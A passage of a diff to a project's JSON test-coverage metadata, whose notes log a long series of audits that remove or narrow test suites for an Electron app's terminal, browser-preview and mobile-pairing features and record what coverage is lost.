prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2043: Remove the registration-wait, webview-security, preview-authorization, guest-lifecycle and grant-IPC unit suites and the sibling-directory assertion reference. Runtime and browser capability consumers also lose removed imported examples. Remaining document-policy, file-reader and grant-registry assertions do not replace those alarms. Preserve the 27 independent dated receipts at their original unchanged selectors; reduced prospective unit selectors have no fresh result or equivalent replacement claim. Historical prior account (preserved verbatim): Audit1973: Delete the browser RPC forwarding/schema/scalar suite and its prospective selector. Preserve all27 unrelated dated receipts; no actual browser operation alarm is replaced. Whole original changed dated receipts are retired, never narrowed or transferred. This metadata review claims no fresh execution, equivalent replacement, provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): The complete terminal-file-link-actions suite is removed. Lose supplied local/remote menu-row inventories, browser label/order/download/reveal callback forwarding, platform-copy and source-group pinning examples. No OS reveal/download, real remote preview or browser navigation was exercised; the other real document-preview sources are not equivalent replacements. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1899 replays sealed Audit1895: workspace-doc-history.test.ts is entirely removed from its current command and testFiles. Supplied recency/dedupe/cap/title/identity examples and the10000-row getter-read budget alarm are intentionally lost. No current assertionRef or active receipt selects that file. Unrelated active receipts and all prior gap literals remain verbatim; no replacement history/index-work coverage or new browser/paired-preview gate execution is claimed. Historical coverage account before Audit1899: Audit1853 reduces LinkActionPopover.test.tsx and archives its complete 2026-09-06 mixed-selector receipt. The lost copy/open-state and Settings callback-order/omission alarms are accepted without equivalent replacement coverage. No fresh execution of this gate is credited. Audit1709 removes low-value test definitions and retires affected assertion or execution-receipt claims without equivalent replacement coverage. Per-source reviews bound retained behavior and injected/native/remote limits. Unchanged assertions and receipts keep their original scope; gates lacking current active evidence are downgraded. Historical scope before this audit: Audit1687 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1630 removes low-value Git, GitHub/GitLab and IPC projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1571 removes mock forwarding, capability/schema inventories, private predicates, supplied error/result replays, and filesystem-mocked persistence checks without equivalent replacement claims. Retained changed tests also exercise real local permission-file reread, registry proxy rollback/credential retirement, site display recovery, and pending sender/credential/document admission with injected Electron/UI producers. Retained network tests exercise owned stream credit/cleanup, generation and retirement fences, real loopback proxy/SOCKS bytes and file-backed binding state. SSH/WSL/paired runtime, native sessions, authority producers and storage clears remain injected; simulated relaunch uses filesystem mocks. The unchanged profile-retirement suite was statically reviewed and not rerun. No actual SSH/WSL runtime, native Chromium jar deletion, durable process restart, remote DNS or external site proof. Receipts selecting changed tests are retired and unaffected receipts remain unchanged. Historical scope before this audit: Audit1568 removes API inventories, supplied mock-value/forwarding assertions, implementation-shape tables and negative/setup cases that do not reach their intended boundary, without equivalent replacement claims. Retained changed definitions exercise owned manager lifetime/queue/refcount/clamp and real synthetic process/files/staging boundaries. Seventeen unchanged native Electron definitions across this combined audit are statically reviewed and not rerun. Changed native suites exercise local popup wire/cookie/session and clean/native process-identity behavior; known popup-admission flaws remain unfixed. Unit native/event/session/registry inputs remain injected. No actual OS focus, registry/host execution, CRX verification or durable restart proof. Receipts selecting changed tests are retired and unaffected receipts remain unchanged. Historical scope before this audit: Audit1564 retires copied cookie key recipes, mock bridge/preview forwarding and flag tables, source-spelling/script inventories and setup-only alarms without equivalent replacement coverage. Retained changed cases exercise actual scoped SQLite merge/rollback/schema refusal, owned cancellation and grant authority/canonical containment, ranged response consistency, replacement guest ownership and executed guest-script promise/DOM cleanup behavior. Session, host response, geometry/observer and transport producers remain injected where documented. One unchanged native extension definition is not rerun locally; no actual remote filesystem, native layout/focus or authentication claim. Receipts selecting modified tests are retired; unaffected exact-selector receipts remain unchanged. Historical scope before this audit: Audit1412 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1386 changes referenced sources; no new execution result validates reduced selectors. Retained unchanged receipts apply only to unchanged commands. Historical coverage: Audit1308 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): A macOS desktop host and a separate paired Electron client exercise the Explorer preview action end to end: the document renders inside the client-local orca-preview guest, the client gains exactly one browser workspace and it is the document one, the host's own page registry and tab snapshot gain nothing, the split does not take focus from the source editor, an explicit click activates the preview, and closing it with its X leaves the editor and terminal intact. Both host oracles are read in a run where an ordinary URL browser tab from the same client does arrive in them, because a host that cannot project browser pages at all would otherwise answer the absence question the same way. A second journey quits that client with a document tab open and relaunches it on the same profile, which is the restore the user's original report turned on: the same workspace row comes back blank and named by the document, renders again, and does so over a grant URL that differs from the one that was quit. The same journey pins the guest URL to the orca-preview scheme, so a regression back to file:// or to a host browser page is visible. The rewritten journey caught a live gap the old one could not see: since previews became browser pages they had no chrome to hand focus to their guest, so main refused every reported link click as coming from an unfocused guest and the one route out of a preview was dead. Main's own log answered it — registered true, grant live, focused false — after the embedder reported the anchor really taking six real presses. The pane now hands focus over when it is the reader's surface, and the journey routes. The preview's own components moved out of the editor folder into browser-pane/workspace-doc/ with this change, since a preview is a browser pane and no longer an editor one; their i18n keys keep the historical auto.components.editor.HtmlDocPreview prefix rather than dropping thirty translated strings across four locales for a tidier key path. Seven gate commands named those files by their old paths and were re-issued at the new ones, and the nine dated runs behind them were retired rather than left naming files that are no longer there, on the same principle this gate already applied twice: vitest treats a missing named file as a filter and exits 0, so such a command reports green while silently running only the half that still exists. Each retired record's finding is carried into the replacement run recorded below it, including the red half of the entry/subresource pair, which was re-measured by re-applying its mutant at the new path rather than being dropped. The fence over the page-management channels was decided channel by channel before it was built, and that decision record is: of the 23 channels that can name a page, 6 are allowed for a workspace-document page — the tool channels the reader drives, which reach it through the one authority that reads both halves of the registry — 9 refuse (download accept and cancel, devtools, certificate proceed, client page metadata publish, viewport override, WebAuthn account response, registration probe, registration repair), 3 cannot name a page at all because they take a profile or a worktree instead, and the rest are the registration and activation doors, refused on membership. What shipped is not the per-channel guard that classification implies: eleven call sites read the browsing map directly, so a guard per channel is exactly the caller-flag seam that has to be remembered at every future call site. The registry was split in two instead, which makes the classification structural — a document guest is absent from the browsing map, so every refusing channel refuses by absence rather than by a guard, and a channel added later inherits the refusal without being classified at all. Unit contracts cover grant scoping and path containment, per-owner read routing, refusal of a truncated or over-cap read, the old-server binary degradation, scheme admission on will-attach-webview, the guest navigation policy, the plan layer's local/SSH/paired/out-of-worktree routing, and the distinct sentence the reader sees for each failure reason. The paired browser-creation surfaces this gate still owns — capability rejection cleanup, canonical page identity, reconciliation rollback, close convergence — keep their existing headed and headless journeys. Linux and Windows live journeys remain gaps. A refused subresource is a notice on a rendered document rather than a failure panel, since only the entry document's failure leaves the reader with nothing; the entry document is served as text by every owner and cannot be refused for its format at all. Grants die with the renderer document that minted them, at window creation and on every reload, because the renderer holds the only record of which preview owns which grant. The mint and revoke channels answer only the trusted renderer, and a preview tab is never republished to mobile clients, which have no grant to read it with. External URLs leave the preview only via a trusted user click on an anchor while the preview is focused; script-driven navigation and popups reach nothing. The guest's navigation sinks are deny-only and route no URL at all, and the guest carries a preview-only preload, pinned by will-attach-webview and denied to every other attach path, whose capture-phase click handler reports an anchor's URL to main; main answers only a report from a preview guest with a live bound grant that is the focused contents, and only for http(s). Two earlier reader-facing records from 2026-08-26, which measured a shape where a subresource failure was filtered out and the panel still carried an unsupported-asset sentence, were retired with that shape rather than left contradicting the 10/10 runs of the command they share. Two more were retired on the same principle when the external-link design changed: a record showing that removing a recent-input gate let the unattended document open two browser tabs, and a record showing that dropping the webview's allowpopups attribute left a target=_blank press with nothing to route. Both measured machinery that no longer exists — the input gate could not tell a script's navigation from the click it followed, which is the case now recorded below, and the preload intercepts the press before Chromium considers a popup at all, so allowpopups was removed. WebRTC is fenced by the guest's IP-handling policy alone: this Chromium answers a webrtc content-security-policy directive as unrecognized and gathers candidates anyway, so the directive is deliberately absent from the served policy and a unit assertion keeps it out. A standalone Electron probe on the same version gathered 7 candidates including a STUN reflexive one without the policy and 0 with it. Two command paths this gate used to carry no longer exist, and their structured evidence was retired with them rather than left naming files that are no longer there: vitest treats a missing named file as a filter and exits 0, so such a command reports green while silently running only the half that still exists. The first is src/renderer/src/lib/file-preview-capability-cleanup.test.ts, deleted in STA-5557 when HTML previews stopped creating paired browser tabs: on 2026-08-12 its five-assertion STA-4063 oracle ran red 5/5 on scan e4c278eb52 and on main bc2e30000b, partially green 2/5 on pre-fix PR #14100, and green 5/5 on candidate 14b5877a75; the surviving half of that oracle is web-runtime-browser-capability-cleanup.test.ts, still commanded above. The second is tests/e2e/paired-remote-html-browser-focus.spec.ts, renamed in STA-5557 to paired-remote-html-preview-local-render.spec.ts because the journey no longer proves anything about browser focus: its 2026-08-12 runs established the owning-runtime routing and no-focus-steal behavior of the then-current browser-tab preview (red on main 346e59c879 and a90a18d43d, green on candidates d05217c40d and b7de9c0961, red again with only the side-preview focus or routing seam disabled), and its 2026-08-26 runs are recorded below under the current path. An adversarial pass after the journey landed found four coverage gaps rather than shipping defects, and all four are pinned here. The page url had a third door: the navigation commit wrote whatever url was reported, unfenced, and while nothing reaches it for a document page today it sat one report away from giving a document page a URL that persistence, the publish boundary and the address bar all read. The group projection was the load-bearing half of the mobile publish boundary that no test had: removing it alone left the whole suite green, because no test in it had tab groups, while the phone payload gained a group whose order and active tab named a document tab it was never sent. The focus handoff was covered only in the narrowing direction, so widening it — dropping the page-activity check, or either half of the reader-surface check — survived both suites. And the handoff itself was offered once and never again, so another app taking the front left the preview's one route out shut until the pane remounted, which is a desktop gap rather than a test-only one. The standalone capability-cleanup and browser-placement ledger suites were removed, including their mixed-version rejection, cleanup transfer, capacity and partition alarms. web-runtime-session.test.ts no longer supplies browser creation, rollback or recovery assertions. The grouped workspace-document exclusion remains; the separate no-group publication example was removed. Existing live/browser-store evidence does not establish equivalent replacement alarms. Earlier descriptions of the removed fixtures and their run results are historical. The client-owned-placement and layout-groups suites are removed. The broad mirror fixture no longer supplies preview placement/reservation/move assertions. Browser rows retain pre-response replay and real local-workspace reuse; focus intent retains response ordering and exact-leaf sibling ordering. Supplied browser-layout and placement/focus projection alarms are lost; retained evidence is narrower and not equivalent. The test-value audit retires renderer grant-release mock ledgers, direct creation/title/session-field copies, notification/onboarding calls and several placement/per-page projections. Canonical-ID rejection, document reopen/restore and preview URL fences remain; they do not prove close-to-registry revocation or replace every lost alarm. Historical execution evidence is unchanged. The test-value audit removed the direct legacy editor-preview hydration example from tabs-hydration.test.ts. Dropping legacy preview chrome while preserving the same-document ordinary editor no longer has that alarm. The surviving corrupt-id deduplication case does not cover that migration, and retained preview journeys are not equivalent replacement coverage. Historical run counts and migration mutation findings describe the earlier suite. Audit1308: src/renderer/src/components/editor/EditorPanelShell.header.test.tsx removed. Header visibility and mocked editor-surface inventory alarms disappear. No equivalent replacement coverage is claimed. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1386: src/renderer/src/lib/doc-preview-grants.test.ts reduced. Repeated-mount mint count, ordinary release/remint and failed-mint cache retry standalone alarms removed; no actual grant server/access test. No equivalent replacement coverage is claimed. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1412: src/main/browser/guest-lifecycle/manager/browser-manager-guest-policy-profile.test.ts removed. Loses workspace-document in-grant navigation/popup refusal, cleanup/re-attach, cross-registry guest authorization and browsing-map separation alarms. No equivalent browser policy coverage is claimed. No equivalent replacement coverage is claimed. Audit1421 removes browser-address-bar-suggestions.test.ts. Document suggestion title/path matching, recency merging and path-prefix ranking alarms are lost. No equivalent replacement coverage is claimed. Historical receipts remain scoped to unchanged selectors; the reduced command has no new execution result. Audit2452 removes the whole fake-effect browser-close routing suite. Active selectors and assertion references no longer select it. Its requested-worktree default close, sibling-page close and explicit missing-page typed reply alarms are intentionally retired without equivalent replacement. Prior dated receipts remain unchanged and scoped to their original sources; no fresh execution of the reduced gate, rendered browser, live remote, mobile or cross-platform validation is claimed. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed.", "motivatingLinks": [ "https://linear.app/stably/issue/STA-5557/remote-html-preview-render-workspace-files-locally-over-the-file", "https://linear.app/stably/issue/STA-3872/unable-to-open-html-files-in-remote-server", @@ -5532,7 +5532,7 @@ "providers": ["local", "daemon", "ssh", "remote-runtime", "wsl"], "coveredPlatforms": ["macos"], "coveredProviders": ["local", "daemon", "remote-runtime"], - "coverageNotes": "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5708 retires the whole controlled-proof terminal-shell-recovery-barrier suite, accepting reset/release ordering, late/dead/refuted proof, throwing sink, nested episode and deadline alarms. Active command/testFiles selectors are reduced; no equivalent replacement or fresh execution is claimed. Historical dated scopes remain unchanged. Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit4345 deletes the foreground agent-process suite (8 authored cases): nested/stopped POSIX shells, recycled/query-denied Windows anchors and console-attachment filtering/refusal alarms are deliberately lost without equivalent replacement. Reduced selectors have no fresh gate execution; unrelated historical receipts retain their own commands. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3984 retires all nine mobile-presence and imported subscribe callbacks plus their orphan store fixture. Accepted losses include desktop/phone restore geometry, echo filtering, held reconnect/reclaim notifications, and the real headless snapshot sequence race. No equivalent replacement or fresh gate execution is claimed. Audit 3959 retires the whole session.test.ts driver (27 authored / 33 finite cases): startup/echo filtering, readiness input gates, ownership confirmation, detach authority, and termination retry/exit ordering alarms are intentionally lost. No equivalent replacement or fresh runtime validation is claimed. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial mobile-presence suite retains only five authored callbacks: admitted preview-paste completion across phone takeover, desktop take-back superseding mobile input, desktop viewport write/restore geometry, and held-fit reclaim convergence. Other supplied floor/rollback/selection/viewport/grace/disconnect/reconnect/orphan-state alarms are lost. No per-source assertion object exists to reassign. The one affected dated mobile-view-authority receipt is retired whole into historical notes with its full original/currentCommand/raw data preserved; it is not active corroboration for reduced candidate bytes. Imported mobile-subscribe registrations and retained callbacks remain bounded to their actual source obligations, without equivalent replacement or physical-phone/native-PTY claims. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1709 removes low-value test definitions and retires affected assertion or execution-receipt claims without equivalent replacement coverage. Per-source reviews bound retained behavior and injected/native/remote limits. Unchanged assertions and receipts keep their original scope; gates lacking current active evidence are downgraded. Historical scope before this audit: Audit1683 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/pty-connection-hidden-tui-snapshot-replay.spec.ts: Loses rich hidden snapshot sequence replay/grid resize and forced repaint after hidden snapshot alarms, including live-trigger deduplication. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1320 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic host/parser, process-classifier, snapshot-publication, mixed-version, renderer, and macOS Electron coverage proves the local and shared paired-runtime contracts. Direct SSH intentionally publishes no shell proof and immediately preserves incumbent behavior. WSL, Windows ConPTY, Linux desktop, and paired headed/headless journeys remain gaps. The audit removed the isolated terminal-multiplex pending-escape-tail forwarding test. Its direct RPC snapshot field-copy alarm is lost; retained parser, snapshot and lifecycle suites do not establish equivalent RPC field coverage. Audit1320: src/renderer/src/components/terminal-pane/remote-runtime-pty-snapshot-escape-tail.test.ts removed. Snapshot pending escape/alternate-screen/shell metadata forwarding and negative app-store-read alarm disappears. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1391: src/renderer/src/components/terminal-pane/pty-connection-remote-pause-drop-notice.spec.ts reduced. Lose repeated quiet switches avoiding snapshots and legacy host without drop-report capability requesting a snapshot. Retained imported registrar uses fake transport/xterm writes, exercising real gap/restore lifecycle rather than actual terminal rendering. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1402: src/renderer/src/components/terminal-pane/pty-connection-park-reveal-model-snapshot.spec.ts reduced. Loses basic paired serialize/initial replay forwarding check; hidden alt-frame grid/precedence policy remains. No real terminal renderer claim. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1412: src/main/daemon/terminal-host-concurrent-create.test.ts reduced. Loses race deduplication, attach during unsettled ownership proof, retry after failed spawn, distinct-session parallelism, disposal waiting and shutdown retry-fencing alarms bundled with removed internal-call counts or real-time waits. No replacement-equivalence claim. src/main/daemon/terminal-checkpoint-serializer.test.ts reduced. Loses bounded native conversion/no-whole-candidate materialization and snapshot getter single-read alarms. Retained byte-size outcomes do not establish CPU/allocation bounds. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.", + "coverageNotes": "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5708 retires the whole controlled-proof terminal-shell-recovery-barrier suite, accepting reset/release ordering, late/dead/refuted proof, throwing sink, nested episode and deadline alarms. Active command/testFiles selectors are reduced; no equivalent replacement or fresh execution is claimed. Historical dated scopes remain unchanged. Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit4345 deletes the foreground agent-process suite (8 authored cases): nested/stopped POSIX shells, recycled/query-denied Windows anchors and console-attachment filtering/refusal alarms are deliberately lost without equivalent replacement. Reduced selectors have no fresh gate execution; unrelated historical receipts retain their own commands. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3984 retires all nine mobile-presence and imported subscribe callbacks plus their orphan store fixture. Accepted losses include desktop/phone restore geometry, echo filtering, held reconnect/reclaim notifications, and the real headless snapshot sequence race. No equivalent replacement or fresh gate execution is claimed. Audit 3959 retires the whole session.test.ts driver (27 authored / 33 finite cases): startup/echo filtering, readiness input gates, ownership confirmation, detach authority, and termination retry/exit ordering alarms are intentionally lost. No equivalent replacement or fresh runtime validation is claimed. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored 